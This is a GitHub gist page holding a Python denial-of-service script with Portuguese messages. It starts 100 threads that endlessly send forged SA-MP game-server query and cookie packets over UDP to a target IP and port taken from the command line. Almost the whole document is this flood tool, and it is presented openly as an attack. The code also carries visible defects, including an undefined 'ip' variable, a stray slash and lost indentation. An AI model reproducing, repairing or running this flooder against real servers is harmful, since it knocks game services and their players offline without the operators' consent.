Skip to content

Instantly share code, notes, and snippets.

@Edresson
Last active May 17, 2017 19:36
Show Gist options
  • Save Edresson/09f06753cdfd413829ae99d9eae05104 to your computer and use it in GitHub Desktop.
Save Edresson/09f06753cdfd413829ae99d9eae05104 to your computer and use it in GitHub Desktop.
import socket
import struct
import codecs,sys
import threading
import random
import time
import os
# digitar : conntrack -F (limpa tabela conntrack)
orgip = sys.argv[1]
port = sys.argv[2]
Pacotes = [codecs.decode("53414d5090d91d4d611e700a465b00","hex_codec"),#p
codecs.decode("53414d509538e1a9611e63","hex_codec"),#c
codecs.decode("53414d509538e1a9611e69","hex_codec"),#i
codecs.decode("53414d509538e1a9611e72","hex_codec"),#r
codecs.decode("081e62da","hex_codec"), #cookie port 7796
codecs.decode("081e77da","hex_codec"),#cookie port 7777
codecs.decode("081e4dda","hex_codec"),#cookie port 7771
codecs.decode("021efd40","hex_codec"),#cookie port 7784
codecs.decode("081e7eda","hex_codec")#cookie port 7784
]
print("O ataque iniciado para o ip %s e Port: %s"%(orgip,port))
class MyThread(threading.Thread):
def run(self):
while True:
sock = socket.socket(
socket.AF_INET, socket.SOCK_DGRAM) # Internet and UDP
msg = Pacotes[random.randrange(0,3)]
sock.sendto(msg, (ip, int(port)))
#os.system("conntrack -F")
if(int(port) == 7777):
sock.sendto(Pacotes[5], (ip, int(port)))
elif(int(port) == 7796):
sock.sendto(Pacotes[4], (ip, int(port)))
/ elif(int(port) == 7771):
sock.sendto(Pacotes[6], (ip, int(port)))
elif(int(port) == 7784):
sock.sendto(Pacotes[7], (ip, int(port)))
if __name__ == '__main__':
try:
for x in range(100):
mythread = MyThread()
mythread.start()
time.sleep(.1)
except(KeyboardInterrupt):
os.system('cls' if os.name == 'nt' else 'clear')
print('#########################################################################')
print('O Ataque foi parado'.format(orgip))
pass
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment